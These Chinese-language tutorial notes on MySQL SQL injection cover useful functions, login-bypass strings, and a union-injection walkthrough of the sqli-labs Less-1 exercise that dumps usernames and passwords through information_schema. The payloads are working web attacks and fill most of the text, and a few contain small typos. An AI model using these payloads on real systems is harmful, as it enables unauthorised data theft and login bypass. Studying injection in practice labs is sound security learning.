SQL注入-基本查询语法和union注入
MYSQL数据库结构
数据库--表--列--字段
MySQL常用函数
读文件
select load_file('path');
写文件
select 'filename' into outfile 'path';
ASCII()/ORD()
返回字符串的ascii码值
select ord(); -- 返回第一个ascii码值
MID()/SUBSTR()
返回一个字符串的一部分
select mid('mysql',1,2); -- my
select mid('mysql', 2,2); --- ys
select substr('mysql',1,2); -- my
LEFT()
返回字符串最左边的几个字符
select left('mysql', 2);
SLEEP()
让此语句运行N秒钟
select sleep(N);
select if(1>2,2,3); -- 3 若第一个参数为真,则返回第一个参数,否则第二个
STRCMP()
select strcmp('a', 'b'); # -1
select strcmp('a', 'a'); # 0
select strcmp('c', 'b'); # 1
IFNULL()
假如参数1不为null,则返回值为参数1,否则返回值为参数2
select ifnull(1/0, 2); --2.0000
exp()
返回e的x次方
select exp(1); --2.71828
SQL基本语句
show databases; #显示所有数据库
use 数据库名字;
show tables; #显示所有表单
SELECT 列名称 FROM 表名称 WHERE 条件 #从表中选取数据
Select* from user where name = 'xxx'; #*表示所有列
UPDATE 表名称 SET 列名称 = 新值 WHERE 条件 #修改表中某只
ex:
insert into 表名称(字段名称) values (值1, 值2)
delete from (表) where 条件
union select联合查询
UNION操作符用于合并两个或多个SELECT语句的结果集(UNION内部的每个SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每个SELECT语句中的列的顺序必须相同)
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
万能密码备忘
' or ' 1=1 #
or 1=1 --
分析万能密码如何被解析
通过闭合引号以及注释后面的内容
select * from users where username '
'or '1' = '1' # 输入的内容
' and pwd= '
'or '1'='1 # 输入的内容
'
查询数据核心语法
获取当前数据库用户、名称、版本信息
select user(), database(), version from dual;
查库
select schema_name from information_schema.schemata
查表
select table_name from information_schema.tables where table_schema=库名
# 方法1
select group_concat(table_name) from information_schema.tables where table_schema=database();
# 方法2
select table_name from information_schema.tables where table_schema='database_name';
# 方法3
select table_name from information_schema.tables where table_schema=(select database());
查列
select column_name from information_schema.columns where table_name='表名';
查数据
select 列名 from 库名.表名
若数据太多导致无法返回查询结果:
查询:可以用limit限定返回的数量和位置
回显:若页面只能回显一条数据,可以使用*concat 语句
select group_concat(schema_name) from information_schema.schemata;
爆库的过程中可以使用
concat_ws 使得数据更清晰
union select 1,2(select concat_ws('-',username,password) from security.users limit 0, 1) --+)
UNION注入
union操作符用于合并两个及以上的多个SELECT语句的结果集
注意:UNION内部的SELECT语句必须拥有相同数量的列,列要拥有相似的数据类型,且每条SELECT语句的列的顺序必须相同,默认是选取不同的值,若允许重复的值需要使用UNION ALL
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注意:
1.只有最后有个SELECT语句允许有ORDER BY
select * from users order by id union selet 1,2,3; -- 错误
2.只有最后有个SELECT子句允许有LIMIT
select * from users limit 0,1 union select 1,2,3; -- 错误
3.只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题即可查询出结果
4.注入点页面要有回显
注意流程
1.ORDER BY 确定列数 二分法快速判断
2.观察页面返回,选取可以显示数据的位置,继续注入
3.读库信息
4.读表信息
5.读字段
6.读数据
详细试水案例
Less-1
1` order by 3 --+
1' order by 4 --+
所以利用报错信息,得到列数为3
id=' union select 1,2,3 --+
理解一下,原本表中有3列,id name password
union select 1,2,3对应了3列,所以数字2和3出现在了name和password的位置
所以可以利用这两列的位置进行注入和回显信息
启动mysql
select * from users where id=1 union select 1,2,3;
爆表
-- 方式1 一条一条爆
select * from users where id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3;
-- 方式2 拼接的方式爆出所有表
select * from users where id=-1 union select 1,(select group_concat( schema_name) from information_schema.schemata),3;
注入语句
' union select 1,2,(select schema_name from information_schema.schemata limit 4,1)--+
' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
emmm显然应该(或许大概)是这张security库啦
读表信息
select * from users where id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security');
注入语句
select * from users where id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
要读取账户密码,所以选择users表
读段信息
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users');
注入语句
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
所以直接读取username和password就可以
读数据
` union select 1,2,concat_ws(';',username,password) from users limit 0,1--+
注:可以使用库名的十六进制代替
database() 当前表
补充一些内容:
字段数判断
SELECT * FROM users limit 1,1 into @,@,@
concat函数在连接字符串时,只要其中一个是null,将返回null
concat_ws则会返回不为null的部分
select concat('1', '2', null)
select concat_ws(',', '1', '2',null)